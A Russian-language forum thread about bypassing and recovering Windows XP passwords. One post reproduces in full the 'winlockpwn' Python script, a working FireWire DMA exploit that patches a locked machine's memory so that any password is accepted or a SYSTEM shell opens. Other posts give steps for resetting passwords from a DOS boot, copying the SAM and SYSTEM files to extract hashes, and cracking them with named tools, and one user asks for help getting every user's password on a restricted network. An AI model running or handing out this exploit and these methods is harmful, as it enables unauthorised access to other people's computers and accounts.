Пароль в WinXP

[Deementor]

retek, Раз тебе не принципиально от куда и как затолкать эту dll /будь она не ладна/ то воспользуйся NTFSforDOS, запиши эту dll на туже болвань, загрузись и скопируй нормальную dll.
Прием?

[retek]

Дллку я на место вставил, и могу войти под администратором этого компа,
но выяснить пароль того юзера не могу. Скорее всего поэтому

Цитата: Инфа о паролях доменных юзверей хрантися на сервере (локально, при корректно натроенном окружении, ни пароли ни хэши паролей доменных юзверей не хранятся на локальнмо винте) и аутентичность юзверя проверяется сервером при выполнении доменного логона.

Через Erd commander-->passrenew этого юзера нет в списке

[cinder]

http://www.securitylab.ru/news/348024.php

Цитата: Специалист по компьютерной безопасности Адам Бойли (Adam Boileau) из новозеландской компании Immunity может обойти пароль Windows XP за несколько секунд. На персональном сайте он опубликовал инструкцию по доступу к Windows XP, заблокированной по Alt+Ctrl+Del или через экран приветствия, без необходимости ввода пароля. Для выполнения операции необходим второй компьютер на базе Linux, который должен быть подключен к целевому компьютеру посредством интерфейса FireWire. Далее специальный скрипт открывает полный доступ к оперативной памяти взламываемого компьютера, из которой хакер может читать информацию или записывать в нее. Таким образом злоумышленник может узнать в том числе и требуемый пароль. Разъемами FireWire оснащаются многие настольные ПК и почти все современные ноутбуки. Их нельзя найти разве что в старых системах. В основном FireWire служит для подключения внешних накопителей данных.

storm.net.nz/static/files/winlockpwn или
скрипт

#!/usr/bin/python
# Windows locked screen remote firewire unlockor
# Metlstorm 2k6
# Uh, private use only, not for public distro, kthx.

import sys
import firewire
import binascii
import time

VER=1.5
VERSTR="Winlockpwn v%s Metlstorm, 2k6. <metlstorm@storm.net.nz>" % VER

# Targets are dicts, with some properties, and one or more phases
# each phase specifies a signature which can be found at one or more
# page offsets. When a signature is found the patch is applied at patchoffset
# bytes from the beginning of the signature. 

targets=[{
		"name":"WinXP SP2 Fast User Switching Unlock",
		"notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
		"phase":[{
		"sig":"8BD8F7DB1ADBFEC3",
		"pageoffset":[2905],
		"patch":"bb01000000eb0990",
		"patchoffset":0}]
		},
		{"name":"WinXP SP2 Unlock",
		"notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
		"phase":[{
		"sig":"0502000010",
		"pageoffset":[3696],
		"patch":"b801000000",
		"patchoffset":0}]
		},
		{"name":"WinXP SP2 msv1_0.dll technique",
		 "notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.",
		 "phase":[{
		 "sig":"8BFF558BEC83EC50A1",
		 "pageoffset":[0x927],
		 "patch":"B001",
		 "patchoffset":0xa5}]
		},
		{"name":"WinXP SP2 utilman cmd spawn",
		 "notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.",
		 "phase":[
		 {"name":"Patch code",
		 "sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb",
		 "pageoffset":[0x39f],
		 "patch":"565383c310899de8faffffff158810185b898540fbffff9090909090",
		 "patchoffset":0x0},
		 {"name":"Patch data",
		 "sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100",
		 "pageoffset":[0x9ac, 0x5ac, 0x3ac],
		 "patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000",
		 "patchoffset":0x0,
		 "keepgoing":True,
		 }
		 ]
		}
		]


start = 0x8000000L
end   = 0xffffffffL
chunk = 4096 

print VERSTR

def printTargets(targets):
	i = 1
	print " Available Targets:"
	for t in targets:
		print " %2d: %s" % (i, t["name"])
		i+=1
	print "\nTarget Notes:\n"	
	for t in targets:
		print "%s:\n---------------\n%s\n" % (t["name"], t["notes"])
		
def usage():
	print "Usage: winlockpwn port node target [start-end]"
	print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers."
	print " - Target should be one of the numbered targets listed below."
	print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff."
	print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n"
	printTargets(targets)
	sys.exit(1)

if len(sys.argv) < 4:
	usage()

try:
	port = int(sys.argv[1])
	node = int(sys.argv[2])
	targetno = int(sys.argv[3])
	if len(sys.argv) > 4:
		start,end = firewire.parseRange(sys.argv[4])
		if end == None:
			end = 0xffffffffL
except ValueError:
	usage()

if targetno < 1 or targetno > len(targets):
	usage()

target = targets[targetno -1]

print "Target Selection:"
print " Name   : %s" % target["name"]
print " Notes  : %s" % target["notes"]
for p in target["phase"]:
	if p.has_key("name"):
		print "Phase: %s" % p["name"]
	print " Pattern: 0x%s" % p["sig"]
	print " Offset : %s" % p["pageoffset"]
	print " Patch  : 0x%s" % p["patch"]
	print " Offset : %d" % p["patchoffset"]
print "Scanning Options:"
print " Start  : 0x%x" % start
print " Stop   : 0x%x" % end
print " Pagesz : %d" % chunk

for so in p["pageoffset"]:
	if len(p["sig"]) + so > chunk:
		print "Uh oh, signature crosses page boundary. This isn't supported :("
		sys.exit(1)
	if so + p["patchoffset"] > chunk:
		print "Uh oh, patch offset crosses page boundary. This isn't supported :("
		sys.exix(1)



print "Init firwire, port %d node %d" % (port, node)
h = firewire.Host()
n = h[port][node]

print "Snarfin' memories..."
sys.stdout.flush()

dumppage = False
won = False

startt = time.time()
last = 0
for p in target["phase"]:
	try:
		print "Phase: %s" % p["name"]
	except KeyError:
		pass
	signatureoffset=p["pageoffset"]
	eviloffset = p["patchoffset"]
	payload = binascii.unhexlify(p["patch"])
	pattern = binascii.unhexlify(p["sig"]) 
	eviladdr = None
	for offset in range(start, end, chunk):
		now = time.time()
		if now > (last + 1):
			last = now
			print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ),
			sys.stdout.flush()

		for so in signatureoffset:
			mem = n.read(offset + so , len(pattern))
			if mem == pattern:
				print "Found signature at 0x%08x" % (offset + so)
				eviladdr = offset + so + p["patchoffset"]
				if dumppage:
					fo = open("winlockpwn.dumppage.0x%08x" % offset, "w")
					fo.write(n.read(offset, chunk))
					fo.close()
				break
		if eviladdr != None:
			won = True
			print "Setting up teh bomb...",
			n.write(eviladdr, payload) 
			print "Donezor!"
			verify=n.read(eviladdr, len(payload))
			print "Verified evil: 0x%s" % (binascii.hexlify(verify))
			if dumppage:
				fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w")
				fo.write(n.read(offset, chunk))
				fo.close()
			if p.has_key("keepgoing") and p["keepgoing"]:
				eviladdr = None
			else:
				break


if won:
	print "You may proceed with your nefarious plans"
else:
	print "\nOh noes, you didn't win"
endt = time.time()
print "Elapsed time %d seconds" % (endt - startt)

[valera7444]

Цитата: Сообщение от Sergei_P Аналогичная проблема. Есть бук с winXP-pro, диск SATA, NTFS. ERD Commander даже винт не видит. Как быть?

CIA Commader (ссылка была ранее) видит все SATA с новых материнок, которые не видит установка XP. Если сделать загрузочную флешку посредством FlashBoot (используя дискету CIA Commader), то можно будет также копировать файлы на flash, в путях копирования только указать букву под которой подключен flash.

[matrix_uz]

hi all from new user !
xakery, ya ploxo znayu russkogo, no pytayus obesnit :

U nas v lokalnim sete trudno rabotat,karoche ogranichenny dostup!
ya dumal chto eto mojno vzlomat, ya poproboval saminside no nashol tolko vse dostup tolko k etim komp. Kak mojna nayti vse passwords of local users? ya by xotel polzovat from PSPR, no u menya klyuch netu, pomogite, ya sam ne zanimalsya s xakerstvom, i ne zanimayus !!! Pomogite

sanks beforehand !!

[Deementor]

Цитата: ya sam ne zanimalsya s xakerstvom, i ne zanimayus !!!

Не занимался, не занимаешься ну и не стоит заниматься.

[foxconix]

ребята будьте попрощее и люди к Вам подтянутся
(всемирно извесная фраза)
А теперь по сути дела привожу очень интересний и самое главное
проверенний способ !!!

скачиваете с Инета Super DOC v2/0, после етого роспаковиваете архив
на системний диск (там где стоит windows, например в c:\temp)
тудаже копируете active passw chencer v3 for DOC читаете внимательно инструкцию по запуску!! суперДОСа
После перезагрузки у Вас "чистий ДОС" - запускаем
active passw chencer v3.ехе и простенько сбрасиваем пароль...

Может кто за етот способ мне ПИВА! достанет а то как то без калорий плохо думается.
(отходя от теми :?! :одни люди едят шоколод чтоби мозги работали лучше, а я предпочитаю пиво .Кому Что! ....

[Sirob]

Цитата: Сообщение от foxconix ребята будьте попрощее и люди к Вам подтянутся

Ищешь популярность?

Цитата: Сообщение от foxconix скачиваете с Инета Super DOC v2/0

Скачать можно много что. Например ЛайвСД или образ для флешки. И ничего никуда распаковывать не придется.

Цитата: Сообщение от foxconix Может кто за етот способ мне ПИВА!

Цитата: Сообщение от foxconix Репутация: -1

[foxconix]

уважаемий Sirob зашол я на етот форум не случайно!
потому что етот сайт содержит очень много полезной и уникальной инфо
и может у меня есть и другой ник!!, а на счет -1 ето еще
далеко не показатель!
Мой девиз сначала попробуй(протестируй) узнай про "подводние камни"
а уж потом критикуй (в жизни не все так гладко и хороше как ажеться)

Конечно же в моем варианте не все так просто. Но получив админские права на некоторое время (например когда админь пойдет пить ваше пиво) можна не только пароли под ХР но и под БіОS узнать/подобрать/сбросить!!!
ХР- скопировать например файли SOM и SUSTEM кудато в другое место !!
ведь СуперДоК ето умеет и еще много чево!!
Етот способ подходит когда на РК нет ни СД ни флопа ни возможно ЮСБ
не пашет, а тут за минуту имееш чистой води ДОС...

Так что тестим, проверяем а уж после етого коментируем ... удачи...

[danik248]

а где патченная dll

[KSerg]

Цитата: Сообщение от Zirat Попробуй эти программы LCP504ru Программы LCP и SID&User являются бесплатными свободно распространяемыми (freeware) продуктами, однако имеется возможность поддержать автора. LCP предназначена для выполнения аудита и восстановления паролей пользователей операционных систем Windows NT/2000/XP/2003. Основные возможности программы: Импорт информации об учетных записях пользователей: импорт с локального компьютера; импорт с удаленного компьютера; импорт файла SAM; импорт .LC-файла; импорт .LCS-файла; импорт PwDump-файла; импорт Sniff-файла; Восстановление паролей: атакой по словарю; гибридом атаки по словарю и последовательного перебора; атакой последовательным перебором; Разбиение последовательного перебора на части: разбиение на части; объединение частей; Вычисление хэшей: вычисление LM- и NT-хэшей по паролю; вычисление LM- и NT-ответов по паролю и запросу сервера. SID&User предназначена для получения SID и имен учетных записей Windows NT/2000/XP/2003. Основные возможности программы: Получение SID по имени учетной записи; Получение имени учетной записи по SID и имен учетных записей по диапазону SID.

Ну содрал я этот SID, а что с ним дальше-то делать??? - Подскажите!!!

[isiAINT]

не знаю может тут кто то уже ето писал (просто неохота все страници проверять)
если у тебя ограниченные права в xp заходи в безопасном режиме к администратору (он себе пароль поставил в простом режиме а в безопасном его нет, если он его поставил и в безопасном, тогда не получится) и делай себя администратором

[Deementor]

Так к слову, админ в винде грузится только в безопасном режиме. В обычном только пользователь с правами администратора. Запись об учетке активна как в обычном так и в безопасном режимах.

[V220]

Тут обсуждался быстрый подбор паролей утилитами от ElcomSoft. Подтверждаю, есть такое. Сами ион называют это "упрощенной атакой полным перебором". ХЗ, как это работает, но сам не раз видел, как менее секунды тратилось на подбор 14-ти символьного пароля от учеток типа HelpAssistant или Asp.NET (т.е. NTLM, буквы в обоих регистрах, цифры и спец символы).

Кстати, почему-то редко встречаю описание способа скопировать файлы SAM и SYSTEM при работающей винде (но нужны права админа). В утилите WinHEX (v11 и выше) жмем F9, выбираем логический диск с требуемыми файлами, находим их, правой кнопкой мыши вызываем менюшку, Recover/Copy и путь, куда их сохранить. Все, теперь из этих файлов можно спокойно вытягивать хэши.

[Flint_WP]

у кого-нить есть CIA Commander 2.0? не могу с емуле качать. выложите пожалуйста на какую-нибудь рапиду